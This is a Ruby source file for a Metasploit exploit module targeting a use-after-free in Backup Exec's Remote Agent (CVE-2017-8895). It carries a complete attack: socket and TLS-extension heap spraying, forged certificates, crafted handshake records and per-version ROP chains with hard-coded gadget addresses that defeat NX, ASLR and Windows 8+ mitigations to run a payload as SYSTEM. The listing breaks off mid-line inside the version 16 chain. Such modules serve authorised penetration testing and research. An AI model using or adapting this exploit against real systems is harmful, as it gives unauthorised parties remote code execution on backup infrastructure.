Path: blob/master/modules/exploits/windows/backupexec/ssl_uaf.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'openssl'6require 'xdr'78class MetasploitModule < Msf::Exploit::Remote9Rank = NormalRanking1011include Msf::Exploit::Remote::Tcp12include Msf::Exploit::Remote::NDMPSocket1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'Veritas/Symantec Backup Exec SSL NDMP Connection Use-After-Free',19'Description' => %q{20This module exploits a use-after-free vulnerability in the handling of SSL NDMP21connections in Veritas/Symantec Backup Exec's Remote Agent for Windows. When SSL22is re-established on a NDMP connection that previously has had SSL established,23the BIO struct for the connection's previous SSL session is reused, even though it24has previously been freed.2526This module supports 3 specific versions of the Backup Exec agent in the 14, 1527and 16 series on 64-bit and 32-bit versions of Windows and has been tested from28Vista to Windows 10. The check command can help narrow down what major and minor29revision is installed and the precise of version of Windows, but some other30information may be required to make a reliable choice of target.3132NX, ASLR and Windows 8+ anti-ROP mitigations are bypassed. On Windows 8+, it has a33reliability of around 85%. On other versions of Windows, reliability is around 35%34(due to the need to win a race condition across the network in this case; this may35drop further depending on network conditions). The agent is normally installed on36all hosts in a domain that need to be backed up, so if one service crashes, try37again on another :) Successful exploitation will give remote code execution as the38user of the Backup Exec Remote Agent for Windows service, almost always39NT AUTHORITY\SYSTEM.40},41'License' => MSF_LICENSE,42'Author' => [ 'Matthew Daley' ],43'References' => [44[ 'CVE', '2017-8895' ],45[ 'VTS', '17-006' ],46[ 'URL', 'http://web.archive.org/web/20181112174302/https://www.veritas.com/content/support/en_US/security/VTS17-006.html' ]47],48'Platform' => 'win',49'Stance' => Msf::Exploit::Stance::Aggressive,50'Payload' => {51'DisableNops' => true52},53'Targets' => [54[55'Backup Exec 14 (14.1 / revision 9.1), Windows >= 8 x64',56{ 'Version' => 14, 'Arch' => ARCH_X64, 'Win8Upwards' => true }57],58[59'Backup Exec 14 (14.1 / revision 9.1), Windows >= 8 x86',60{ 'Version' => 14, 'Arch' => ARCH_X86, 'Win8Upwards' => true }61],62[63'Backup Exec 14 (14.1 / revision 9.1), Windows <= 7 x64',64{ 'Version' => 14, 'Arch' => ARCH_X64, 'Win8Upwards' => false }65],66[67'Backup Exec 14 (14.1 / revision 9.1), Windows <= 7 x86',68{ 'Version' => 14, 'Arch' => ARCH_X86, 'Win8Upwards' => false }69],70[71'Backup Exec 15 (14.2 / revision 9.2), Windows >= 8 x64',72{ 'Version' => 15, 'Arch' => ARCH_X64, 'Win8Upwards' => true }73],74[75'Backup Exec 15 (14.2 / revision 9.2), Windows >= 8 x86',76{ 'Version' => 15, 'Arch' => ARCH_X86, 'Win8Upwards' => true }77],78[79'Backup Exec 15 (14.2 / revision 9.2), Windows <= 7 x64',80{ 'Version' => 15, 'Arch' => ARCH_X64, 'Win8Upwards' => false }81],82[83'Backup Exec 15 (14.2 / revision 9.2), Windows <= 7 x86',84{ 'Version' => 15, 'Arch' => ARCH_X86, 'Win8Upwards' => false }85],86[87'Backup Exec 16 (16.0 / revision 9.2), Windows >= 8 x64',88{ 'Version' => 16, 'Arch' => ARCH_X64, 'Win8Upwards' => true }89],90[91'Backup Exec 16 (16.0 / revision 9.2), Windows >= 8 x86',92{ 'Version' => 16, 'Arch' => ARCH_X86, 'Win8Upwards' => true }93],94[95'Backup Exec 16 (16.0 / revision 9.2), Windows <= 7 x64',96{ 'Version' => 16, 'Arch' => ARCH_X64, 'Win8Upwards' => false }97],98[99'Backup Exec 16 (16.0 / revision 9.2), Windows <= 7 x86',100{ 'Version' => 16, 'Arch' => ARCH_X86, 'Win8Upwards' => false }101]102],103'DefaultOptions' => {104'RPORT' => 10000,105'NumTriggerAttempts' => 50,106'EXITFUNC' => 'thread'107},108'Privileged' => true,109'DisclosureDate' => '2017-05-10',110'DefaultTarget' => 8,111'Notes' => {112'Reliability' => UNKNOWN_RELIABILITY,113'Stability' => UNKNOWN_STABILITY,114'SideEffects' => UNKNOWN_SIDE_EFFECTS115}116)117)118119register_options([120OptInt.new('NumSpraySockets', [ false, 'Number of sockets to spray stage 1 with' ]),121OptInt.new('NumTLSSpraySockets', [ false, 'Number of sockets to spray TLS extensions with' ]),122OptInt.new('NumTriggerAttempts', [ true, 'Number of attempts to trigger the vulnerability (Windows 8+ only)' ])123])124end125126def check127s = NDMP::Socket.new(connect)128return CheckCode::Unknown unless connect_ndmp(s, 2)129130resp = s.do_request_response(NDMP::Message.new_request(NDMP::Message::CONFIG_GET_HOST_INFO))131return CheckCode::Unknown unless resp132133info = HostInfoResponse.from_xdr(resp.body)134print_line('Hostname: ' + info.hostname)135print_line('OS type: ' + info.os_type)136print_line('OS version: ' + info.os_version)137print_line('Host ID: ' + info.host_id)138139disconnect140s = NDMP::Socket.new(connect)141return CheckCode::Unknown unless connect_ndmp(s, 3)142143resp = s.do_request_response(NDMP::Message.new_request(NDMP::Message::CONFIG_GET_SERVER_INFO))144return CheckCode::Unknown unless resp145146info = ServiceInfoResponse.from_xdr(resp.body)147print_line('Vendor: ' + info.vendor_name)148print_line('Product: ' + info.product_name)149print_line('Revision: ' + info.revision_number)150151ver = info.revision_number.split('.')152if ver[0].to_i < 9 || (ver[0].to_i == 9 && ver[1].to_i <= 2)153CheckCode::Appears154else155CheckCode::Detected156end157end158159def exploit160print_status('Connecting sockets...')161162# Connect a differing amount of sockets for stage 1 spraying depending on the target163spray_socks = connect_additional_sockets(164datastore['NumSpraySockets'] || (target.opts['Win8Upwards'] ? 100 : 200),165target.opts['Arch'] == ARCH_X64 && target.opts['Win8Upwards'] ? 2 : 3166)167168# Likewise, connect a differing amount of sockets for TLS extension spraying depending169# on the target170num_tls_spray_socks = datastore['NumTLSSpraySockets'] || (171case target.opts['Version']172when 141730174when 15175target.opts['Win8Upwards'] && target.opts['Arch'] == ARCH_X86 ? 50 : 100176when 16177target.opts['Arch'] == ARCH_X64 ? 100 : 0178end179)180tls_spray_socks = connect_additional_sockets(num_tls_spray_socks, 3)181182s = NDMP::Socket.new(connect)183unless connect_ndmp(s, 3)184fail_with(Failure::UnexpectedReply, "Couldn't connect main socket")185end186187ca_cert, ca_key = generate_ca_cert_and_key188ca_cert_id = get_cert_id(ca_cert)189print_status("CA certificate ID = #{ca_cert_id.to_s(16)}")190191print_status('Getting and handling a certificate signing request...')192agent_cert = handle_a_csr(s, ca_cert, ca_key)193fail_with(Failure::UnexpectedReply, "Couldn't sign certificate request") if agent_cert.nil?194print_status("Agent certificate ID = #{get_cert_id(agent_cert).to_s(16)}")195196if target.opts['Win8Upwards'] && target.opts['Arch'] == ARCH_X86 && target.opts['Version'] != 15197# For certain target types, put the stage 1 spray sockets into SSL mode. We can use198# the newly made CA certificate and key as our client side certificate199ssl_context = OpenSSL::SSL::SSLContext.new200ssl_context.cert = ca_cert201ssl_context.key = ca_key202print_status('Entering spray sockets into SSL mode...')203(1..2).each do |phase|204spray_socks.each do |ss|205require_empty_ssl_request(ss, SSLRequest::Opcode.test_cert, ca_cert_id, phase)206require_empty_ssl_request(ss, SSLRequest::Opcode.start_ssl, ca_cert_id, phase)207ss.wrap_with_ssl(ssl_context) if phase == 2208end209end210end211212print_status('Testing certificate...')213require_empty_ssl_request(s, SSLRequest::Opcode.test_cert, ca_cert_id)214215# For some targets, split the spraying of TLS extensions around entering SSL on the216# main socket217tls_cutoff = tls_spray_socks.length218if target.opts['Win8Upwards']219if target.opts['Arch'] == ARCH_X86220tls_cutoff /= 2221end222else223tls_cutoff /= 10224end225spray_tls_extensions(tls_spray_socks[0...tls_cutoff], ca_cert_id)226227print_status('Entering SSL mode on main socket...')228require_empty_ssl_request(s, SSLRequest::Opcode.start_ssl, ca_cert_id)229230spray_tls_extensions(tls_spray_socks[tls_cutoff...tls_spray_socks.length], ca_cert_id)231232# Send stages 2 to 4 in a TLS or SSLv2 handshake record. We do this so that the other233# stages are contained in the SSL socket buffer at the time of the UAF. The record234# itself could be considered stage 1.5 as stage 1 will pivot to somewhere within the235# record (depending on the amount of trigger attempts required; see attempt_triggers)236print_status('Sending stages 2 to 4...')237if target.opts['Arch'] == ARCH_X64238if target.opts['Version'] == 14239# x64, version 14. Use a TLS handshake record240#241# Windows 8+:242# Stage 1 jumps to 0x1d or 0x30 + [0, NumTriggerAttempts - 2] * 8243# 0 1 2 3 4 5 6 7 8 9 A B C D E F244# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+245# 0 | 16 | 03 | 01 | length | FILLER246# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+247# 10 | ret 3248# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+249# 20 | ret | FILLER |250# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+251# 30 | retsled (0x10 aligned length)... |252# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+253# .. | stages 2-4...254# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+255#256# Otherwise:257# Stage 1 jumps to 0x18258# 0 1 2 3 4 5 6 7 8 9 A B C D E F259# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+260# 0 | 16 | 03 | 01 | length | FILLER261# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+262# 10 | ret |263# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+264# 20 | stages 2-4...265# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+266267ret = [0xbe6c897].pack('Q<')268if target.opts['Win8Upwards']269ret_3 = [0xbe2829b].pack('Q<')270payload = rand_text(24) + ret_3 + ret + rand_text(3) +271ret * [0, (datastore['NumTriggerAttempts'] - 1) & ~1].max272else273payload = rand_text(19) + ret274end275payload << generate_stages_2_to_4276277stage_tls = generate_tls_handshake_record(payload)278else279# x64, version 15/16. Use a SSLv2 hqndshake record280# Windows 8+: Stage 1 jumps to 0x23 or 0x38 + [0, NumTriggerAttempts - 2] * 8281# Otherwise: Stage 1 jumps to 0x18282# 0 1 2 3 4 5 6 7 8 9 A B C D E F283# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+284# 0 | length | 01 | 03 | FILLER285# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+286# 10 | pop x3; ret |287# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+288# 20 | FILLER | ret 5 | ret289# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+290# 30 | FILLER | retsled (0x8 aligned length)... |291# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+292# 40 | stages 2 - 4...293# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+294295pop_x3 = [0xbe1d920].pack('Q<')296ret_5 = [target.opts['Version'] == 15 ? 0xbe61731 : 0xbe62c16].pack('Q<')297ret = [0xbe6c897].pack('Q<')298payload = rand_text(20) + pop_x3 + rand_text(3) + ret_5 + ret + rand_text(5) +299ret * [1, (datastore['NumTriggerAttempts'] & ~1) - 1].max +300generate_stages_2_to_4301302stage_tls = generate_tls_in_sslv2_clienthello(payload)303end304else305if target.opts['Version'] == 14306# x86, version 14. Use a TLS handshake record307# Windows 8+: Stage 1 jumps to 0x9 or 0x14 + [0, NumTriggerAttempts - 2] * 4308# Otherwise: Stage 1 jumps to 0x4309# 0 1 2 3 4 5 6 7 8 9 A B C D E F310# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+311# 0 | 16 | 03 | 01 | ln | pop x3; ret | FL | ret 3 | ret312# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+313# 10 | FILLER | retsled... | stages 2 to 4...314# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+315316pop_x3 = [0x6311f901].pack('L<')317ret_3 = [0x6312164a].pack('L<')318ret = [0x63101514].pack('L<')319payload = (pop_x3[1...pop_x3.length] + rand_char + ret_3 + ret + rand_text(3) +320ret * [0, datastore['NumTriggerAttempts'] - 2].max + generate_stages_2_to_4)321322stage_tls = generate_tls_handshake_record(payload, pop_x3[0])323else324# x86, version 15/16. Use a SSLv2 hqndshake record325# Windows 8+: Stage 1 jumps to 0xf or 0x14 + [0, NumTriggerAttempts - 2] * 4326# Otherwise: Stage 1 jumps to 0x4327# 0 1 2 3 4 5 6 7 8 9 A B C D E F328# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+329# 0 | length | 01 | 03 | add esp, 0xc; ret | FILLER | inc esp; ret330# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+331# 10 | FL | retsled... | stages 2 to 4...332# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+333334add_esp_0xc = [target.opts['Version'] == 15 ? 0x6312890f : 0x6312898f].pack('L<')335inc_esp = [target.opts['Version'] == 15 ? 0x6311c68c : 0x63137b1b].pack('L<')336ret = [0x63101564].pack('L<')337payload = add_esp_0xc + rand_text(7) + inc_esp + rand_char +338ret * [0, datastore['NumTriggerAttempts'] - 3].max +339generate_stages_2_to_4340341stage_tls = generate_tls_in_sslv2_clienthello(payload)342end343end344s.raw_sendall(stage_tls, 0)345if target.opts['Version'] == 14346resp = s.raw_recv(5)347fail_with(Failure::UnexpectedReply, 'Failed to read TLS handshake response. Are you sure you selected the right target version?') if resp.empty?348s.raw_recv(resp[3...5].unpack('n')[0])349end350351print_status('Closing TLS spray sockets...')352tls_spray_socks.reverse! unless target.opts['Win8Upwards']353tls_spray_socks.each do |ts|354ts.close355sleep(0.1)356end357sleep(1)358359# Spray stage 1 in the string payloads of selected NDMP packet types360if target.opts['Win8Upwards'] && target.opts['Arch'] == ARCH_X64361spray_payload = XDR::String[].to_xdr(generate_stage_1[0...-1])362spray_msg_type = NDMP::Message::CONFIG_GET_BUTYPE_ATTR363else364spray_payload = XDR::Int.to_xdr(1) + XDR::String[].to_xdr(generate_stage_1[0...-1]) * 2365spray_msg_type = NDMP::Message::CONNECT_CLIENT_AUTH366end367spray_msg = NDMP::Message.new_request(spray_msg_type, spray_payload)368369# We need to be able to detect as soon as a connection is made to the payload in order370# to stop spraying/trigger attempts ASAP371@payload_connected = false372if payload_instance.respond_to?(:handle_connection)373old_handle_connect = payload_instance.method(:handle_connection)374payload_instance.define_singleton_method(:handle_connection) do |*args|375@payload_connected = true376old_handle_connect.call(*args)377end378end379380if target.opts['Win8Upwards']381# After this SSL request, the BIO struct is freed but still referred to in the new382# SSL context383print_status('Re-entering SSL mode on main socket...')384require_empty_ssl_request(s, SSLRequest::Opcode.start_ssl, ca_cert_id)385386# Attempt to overwrite the BIO struct with stage 1 and trigger the UAF387attempt_triggers(s, spray_socks, spray_msg)388else389# Attempt to overwrite the BIO struct with stage 1 and trigger the UAF in a race390attempt_race(s, spray_socks, spray_msg, ca_cert_id)391end392393handler394end395396private397398SSL_HANDSHAKE_REQUEST = 0xf383399400class SSLRequest < XDR::Struct401class Opcode < XDR::Enum402member :test_cert, 1403member :get_csr_req, 2404member :give_signed_cert, 3405member :start_ssl, 4406seal407end408409attribute :opcode, Opcode410attribute :media_server_name, XDR::String[]411attribute :media_server_fqdn, XDR::String[]412attribute :media_server_addr, XDR::String[]413attribute :cert_id_1, XDR::Int414attribute :cert_id_2, XDR::Int415attribute :unknown1, XDR::Int416attribute :unknown2, XDR::Int417attribute :unknown3, XDR::Int418attribute :ca_cert, XDR::String[]419attribute :unknown4, XDR::Int420attribute :agent_cert, XDR::String[]421422def self.new_for_opcode(opcode)423new(424:opcode => opcode,425:media_server_name => 'foo',426:media_server_fqdn => 'foo',427:media_server_addr => 'foo',428:cert_id_1 => 0,429:cert_id_2 => 0,430:unknown1 => 0,431:unknown2 => 0,432:unknown3 => 0,433:ca_cert => '',434:unknown4 => 0,435:agent_cert => ''436)437end438end439440class SSLResponse < XDR::Struct441attribute :unknown1, XDR::Int442attribute :unknown2, XDR::String[]443attribute :unknown3, XDR::Int444attribute :unknown4, XDR::String[]445446def empty?447(attributes[:unknown1].zero? && attributes[:unknown2].empty? &&448attributes[:unknown3].zero? && attributes[:unknown4].empty?)449end450end451452class ServiceInfoResponse < XDR::Struct453attribute :error, XDR::Int454attribute :vendor_name, XDR::String[]455attribute :product_name, XDR::String[]456attribute :revision_number, XDR::String[]457attribute :auth_types, XDR::VarArray[XDR::Int]458end459460class HostInfoResponse < XDR::Struct461attribute :error, XDR::Int462attribute :hostname, XDR::String[]463attribute :os_type, XDR::String[]464attribute :os_version, XDR::String[]465attribute :host_id, XDR::String[]466attribute :unknown, XDR::VarArray[XDR::Int]467end468469#470# Perform NDMP connection handshake on a NDMP socket. Can be split into 3 stages.471#472def connect_ndmp(s, version, phase = nil)473if phase.nil? || phase == 1474return false unless s.read_ndmp_msg(NDMP::Message::NOTIFY_CONNECTED)475end476477if phase.nil? || phase == 2478return false unless s.prepare_and_write_ndmp_msg(479NDMP::Message.new_request(NDMP::Message::CONNECT_OPEN, XDR::Int.to_xdr(version))480)481end482483if phase.nil? || phase == 3484msg = s.read_ndmp_msg(NDMP::Message::CONNECT_OPEN)485return false unless msg486487fail_with(Failure::UnexpectedReply, 'Bad connect result') unless XDR::Int.from_xdr(msg.body).zero?488end489490true491end492493#494# Connect multiple NDMP sockets of a given version. Parallelizes over connection phases.495#496def connect_additional_sockets(num_socks, version)497socks = (0...num_socks).map do498NDMP::Socket.new(connect(false))499end500501(1..3).each do |phase|502socks.each do |ss|503unless connect_ndmp(ss, version, phase)504fail_with(Failure::UnexpectedReply, "Couldn't connect NDMP socket (phase #{phase})")505end506end507end508509socks510end511512#513# Send a Backup Exec-specific SSL NDMP request and receive the response.514#515def do_simple_ssl_request(s, opcode, ca_cert_id, phase = nil)516if phase.nil? || phase == 1517req = SSLRequest.new_for_opcode(opcode)518req.cert_id_1 = req.cert_id_2 = ca_cert_id519msg = NDMP::Message.new_request(SSL_HANDSHAKE_REQUEST, req.to_xdr)520521if block_given?522last = s.prepare_and_write_ndmp_msg(msg, true)523return nil unless last524525sleep(1)526yield true527s.raw_sendall(last, 0)528yield false529else530return nil unless s.prepare_and_write_ndmp_msg(msg)531end532end533534if phase.nil? || phase == 2535msg = s.read_ndmp_msg(SSL_HANDSHAKE_REQUEST)536return msg ? SSLResponse.from_xdr(msg.body) : nil537end538539nil540end541542#543# Send a Backup Exec SSL NDMP request and receive the response, requiring the response544# to be empty.545#546def require_empty_ssl_request(s, opcode, ca_cert_id, phase = nil)547resp = do_simple_ssl_request(s, opcode, ca_cert_id, phase)548if phase.nil? || phase == 2549fail_with(Failure::UnexpectedReply, "Failed to perform SSL request/response (opcode #{opcode})") unless resp550fail_with(Failure::UnexpectedReply, "Non-empty SSL response (opcode #{opcode}) result") unless resp.empty?551end552end553554#555# Get the ID Backup Exec uses to identify a x509 certificate. This is the first 4 bytes556# of the SHA-1 of the issuer and the raw serial number.557#558def get_cert_id(cert)559Digest::SHA1.digest(cert.issuer.to_s + cert.serial.to_s(2))[0...4].unpack('L<')[0]560end561562#563# Create a self-signed CA certificate and matching key.564#565def generate_ca_cert_and_key(key_len = 2048)566ca_key = OpenSSL::PKey::RSA.new(key_len)567568ca_cert = OpenSSL::X509::Certificate.new569ca_cert.version = 3570ca_cert.serial = 1571ca_cert.subject = ca_cert.issuer = OpenSSL::X509::Name.parse('/CN=SSL UAF')572ca_cert.not_before = Time.now - 60 * 60 * 24573ca_cert.not_after = Time.now + 60 * 60 * 24 * 365574ca_cert.public_key = ca_key.public_key575576extn_factory = OpenSSL::X509::ExtensionFactory.new(ca_cert, ca_cert)577ca_cert.extensions = [578extn_factory.create_extension('subjectKeyIdentifier', 'hash'),579extn_factory.create_extension('basicConstraints', 'critical,CA:true')580]581# Have to do this after creating subjectKeyIdentifier extension582ca_cert.add_extension(extn_factory.create_extension('authorityKeyIdentifier', 'keyid:always,issuer'))583584ca_cert.sign(ca_key, OpenSSL::Digest.new('SHA256'))585586[ca_cert, ca_key]587end588589#590# Get and handle a certificate signing request from Backup Exec with the given CA591# certificate and key.592#593def handle_a_csr(s, ca_cert, ca_key)594resp = do_simple_ssl_request(s, SSLRequest::Opcode.get_csr_req, 0)595return nil if resp.nil?596597request = OpenSSL::X509::Request.new(resp.unknown2)598599agent_cert = OpenSSL::X509::Certificate.new600agent_cert.version = 3601agent_cert.serial = 2602agent_cert.subject = request.subject603agent_cert.issuer = ca_cert.subject604agent_cert.not_before = Time.now - 60 * 60 * 24605agent_cert.not_after = Time.now + 60 * 60 * 24 * 365606agent_cert.public_key = request.public_key607608extn_factory = OpenSSL::X509::ExtensionFactory.new(ca_cert, agent_cert)609agent_cert.extensions = [610extn_factory.create_extension('subjectKeyIdentifier', 'hash'),611extn_factory.create_extension('basicConstraints', 'critical,CA:false')612]613# Have to do this after creating subjectKeyIdentifier extension614agent_cert.add_extension(extn_factory.create_extension('authorityKeyIdentifier', 'keyid:always,issuer'))615616agent_cert.sign(ca_key, OpenSSL::Digest.new('SHA256'))617618req = SSLRequest.new_for_opcode(SSLRequest::Opcode.give_signed_cert)619req.ca_cert = ca_cert.to_s620req.agent_cert = agent_cert.to_s621return nil unless s.do_request_response(NDMP::Message.new_request(SSL_HANDSHAKE_REQUEST, req.to_xdr))622623agent_cert624end625626#627# Generate a TLS handshake record with the given payload.628#629def generate_tls_handshake_record(payload, required_fifth_byte = nil)630fail_with(Failure::Unknown, 'No payload') if payload.empty?631632# Stage 1 for the x86 version 14 target jumps into the TLS header itself (at offset633# 0x4) instead of in non-header data; here it's necessary to control the 5th byte of634# the header, which is the second byte of the length word635unless required_fifth_byte.nil?636payload << rand_text((required_fifth_byte.ord - (payload.length & 0xff)) % 0x100)637end638"\x16\x03\x01" + [payload.length].pack('n') + payload639end640641#642# Generate a TLS ClientHello record with the given Random and extensions (ie. for643# holding stages 2-4).644#645def generate_tls_clienthello(curves_extn_payload, ec_formats_extn_payload, random)646if ec_formats_extn_payload.empty? && curves_extn_payload.empty?647fail_with(Failure::Unknown, 'No TLS extension payloads given')648end649if ec_formats_extn_payload.length > 0xff650fail_with(Failure::Unknown, 'Bad EC formats extension length')651end652if curves_extn_payload.length.odd? || curves_extn_payload.length > 0xffff653fail_with(Failure::Unknown, 'Bad curves extension length')654end655if random.length != 0x20656fail_with(Failure::Unknown, 'Bad random length')657end658659extns = ''660unless curves_extn_payload.empty?661extns << [66210,663curves_extn_payload.length + 2,664curves_extn_payload.length665].pack('n*') + curves_extn_payload666end667unless ec_formats_extn_payload.empty?668extns << [66911,670ec_formats_extn_payload.length + 1,671ec_formats_extn_payload.length672].pack('nnC') + ec_formats_extn_payload673end674675r = "\x03\x03" + random + "\x00\x00\x02\x00\x2f\x01\x00"676r << [extns.length].pack('n') + extns677678r = "\x01" + [r.length].pack('N')[1...4] + r679680generate_tls_handshake_record(r)681end682683#684# Generate a TLS ClientHello record in a SSLv2 record with a given payload.685#686def generate_tls_in_sslv2_clienthello(payload)687fail_with(Failure::Unknown, 'No payload') if payload.empty?688fail_with(Failure::Unknown, 'Bad first byte') unless payload[0].ord >= 1689690r = "\x01\x03" + payload691[r.length | 0x8000].pack('n') + r692end693694#695# Spray a bunch of TLS extensions from the given NDMP sockets. Used for heap feng shui.696#697def spray_tls_extensions(tls_spray_socks, ca_cert_id)698payload_len = target.opts['Arch'] == ARCH_X64 ? 0x68 : 0x40699spray = generate_tls_clienthello(rand_text(payload_len), rand_text(payload_len), rand_text(0x20))700701print_status('Spraying TLS extensions...')702(1..2).each do |phase|703tls_spray_socks.each do |ts|704require_empty_ssl_request(ts, SSLRequest::Opcode.test_cert, ca_cert_id, phase)705require_empty_ssl_request(ts, SSLRequest::Opcode.start_ssl, ca_cert_id, phase)706707if phase == 2708ts.raw_sendall(spray, 0)709sleep(0.1)710end711end712end713sleep(1)714end715716#717# Generate stage 1.718#719# This stage is what overwrites the freed BIO struct. It consists of a non-zero readable720# location (to prevent Backup Exec from falling over or failing) and a stack pivot to721# some offset from the current SSL socket buffer read location, which will hold a722# TLS/SSLv2 record (from the previous SSL connection) holding stages 2-4. The pivot723# offset will be different at each UAF trigger attempt; see attempt_triggers).724#725def generate_stage_1726if target.opts['Arch'] == ARCH_X64727stage_1 = [728# +0x18 from here is a non-zero, readable location. This is the load address of729# becrypto.dll (which is non-ASLR)7300xbe00000,731# On x64, we pivot into the current SSL socket buffer read location + 0x18732# lea rsp, qword ptr [rbp + 0x10]; pop rbp; ret733[0xbe5ecf2, 0xbe23261, 0xbe2329b][target.opts['Version'] - 14]734].pack('Q<*')735else736stage_1 = [737# +0x18 from here is a non-zero, readable location. This is the load address of738# becrypto.dll (which is non-ASLR)7390x63100000,740# On x86, we pivot into the current SSL socket buffer read location + 0x4741# mov esp, ebp; pop ebp; ret742target.opts['Version'] == 14 ? 0x631017fd : 0x6310184d743].pack('L<*')744end745stage_1 + rand_text((target.opts['Arch'] == ARCH_X64 ? 0x68 : 0x40) - stage_1.length)746end747748#749# Generate stages 2 to 4.750#751# Stage 2 is a ROP chain that copies stages 3 and 4 from the heap (that stage 1 pivoted752# to) onto the stack, bypassing Windows 8+'s check before certain functions (like753# VirtualProtect) that we have called them from within expected stack memory instead of754# the heap.755#756# Stage 3 is a ROP chain that calls VirtualProtect to mark stages 3 and 4 as executable757# (but we only really need stage 4 executable anyway).758#759# Stage 4 is the user-selected Metasploit payload code.760#761def generate_stages_2_to_4762stage_4 = payload.encoded763764if target.opts['Arch'] == ARCH_X64765if target.opts['Version'] == 14766stage_3 = [7670, # skipped by stage 27680xbe31359, # push rax; pop rsi; ret7690xbe01f72, # pop rax; ret7700,7710xbe3d250, # add rax, rcx; ret7720xbe1c2f9, # pop r12; ret7730xbe2ab32, # pop r8; ret7740xbe2987c, # mov rcx, rax; call r127750xbe46d9e, # jmp qword ptr [KERNEL32!LoadLibraryW]7760xbe4e511, # pop r14; pop r13; pop rdi; pop rbp; ret7770,7780,7790,7800,7810xbe37f75, # push rax; pop rdi; ret7820xbe43b25, # mov rcx, rsi; call r127830xbe01f72, # pop rax; ret7840,7850xbe3d250, # add rax, rcx; ret7860xbe6949a, # push rax; pop r12; ret7870xbe4f7ec, # pop r14; pop r13; ret7880xbe2ab32, # pop r8; ret7890,7900xbe2f917, # mov rdx, r12; mov ecx, 4; call r147910xbe01f72, # pop rax; ret7920xbe2ab32, # pop r8; ret7930xbe36e8e, # mov rcx, rdi; call rax7940xbe01a29, # ret7950xbe46d32, # jmp qword ptr [KERNEL32!GetProcAddressStub]7960xbe4e511, # pop r14; pop r13; pop rdi; pop rbp; ret7970,7980,7990,8000,8010xbe37f75, # push rax; pop rdi; ret8020xbe1c2f9, # pop r12; ret8030xbe2ab32, # pop r8; ret8040xbe43b25, # mov rcx, rsi; call r128050xbe399d0, # pop r13; ret8061 << 31,8070xbe33c3e, # mov rdx, r13; call r128080xbe6b790, # mov r9, rcx; test edx, edx; jns 0xbe6b7a3; xor eax, eax; ret8090xbe399d0, # pop r13; ret8100,8110xbe33c3e, # mov rdx, r13; call r128120xbe2ab32, # pop r8; ret8130x40, # PAGE_EXECUTE_READWRITE8140xbe01a29, # ret8150xbe5180b, # jmp rdi8160xbe4e511, # pop r14; pop r13; pop rdi; pop rbp; ret8170,8180,8190,8200,8210xbe63938 # push rsp; ret822]823stage_3[3] = stage_3[43] = stage_3.length * 8 + stage_4.length824kernel32_dll = "KERNEL32.dll\0".encode('UTF-16LE').force_encoding('ASCII-8BIT')825stage_3[17] = stage_3[3] + kernel32_dll.length826stage_3 = stage_3.pack('Q<*') + stage_4 + kernel32_dll + "VirtualProtect\0"827elsif target.opts['Version'] == 15828stage_3 = [8290xbe68a34, # push rax; pop rbx; ret8300xbe087c8, # pop rax; ret8310,8320xbe60dc0, # add rax, rcx; ret8330xbe9b627, # mov rcx, rax; call r128340xbe4929d, # ret8350xbeb488e, # jmp qword ptr [KERNEL32!LoadLibraryAStub]8360xbea47f9, # pop r15; pop r14; pop r13; pop rbp; ret8370,8380,8390,8400,8410xbe34c0c, # push rax; pop rbp; ret8420xbefc534, # mov rcx, rbx; call r128430xbe087c8, # pop rax; ret8440,8450xbe60dc0, # add rax, rcx; ret8460xbe9b627, # mov rcx, rax; call r128470xbefc526, # mov rdx, rcx; call r128480xbe9ad68, # mov rcx, rbp; call r128490xbeb4828, # jmp qword ptr [KERNEL32!GetProcAddressStub]8500xbea47f9, # pop r15; pop r14; pop r13; pop rbp; ret8510,8520,8530,8540,8550xbe43269, # push rax; pop rsi; ret8560xbefc534, # mov rcx, rbx; call r128570xbebd50e, # pop r13; ret8580,8590xbe97c4e, # mov rdx, r13; call r128600xbeae99d, # pop r8; ret8610x40, # PAGE_EXECUTE_READWRITE8620xbe3c9c0, # test rdx, rdx; setne al; ret8630xbe68603, # mov r9, rcx; je 0xbe68612; xor eax, eax; ret8640xbe4929d, # ret8650xbe9436d, # jmp rsi8660xbea47f9, # pop r15; pop r14; pop r13; pop rbp; ret8670,8680,8690,8700,8710xbe2184d, # pop rdi; ret8720xbebd50e, # pop r13; ret8730xbe9a8ac # push rsp; and al, 0x20; mov r8d, ebx; mov rcx, rsi; call rdi874]875stage_3[2] = stage_3[29] = stage_3.length * 8 + stage_4.length876stage_3[15] = stage_3[2] + "KERNEL32.dll\0".length877stage_3 = stage_3.pack('Q<*') + stage_4 + "KERNEL32.dll\0VirtualProtect\0"878elsif target.opts['Version'] == 16879stage_3 = [8800xbe4e888, # push rax; pop rbx; ret8810xbe01f72, # pop rax; ret8820,8830xbe610f0, # add rax, rcx; ret8840xbe9c70c, # mov rcx, rax; call r128850xbe01c2c, # ret8860xbeb5d8e, # jmp qword ptr [KERNEL32!LoadLibraryAStub]8870xbea5b39, # pop r15; pop r14; pop r13; pop rbp; ret8880,8890,8900,8910,8920xbe12ed0, # pop rdi; ret8930xbe45a01, # pop r13; ret8940xbeaedb0, # mov 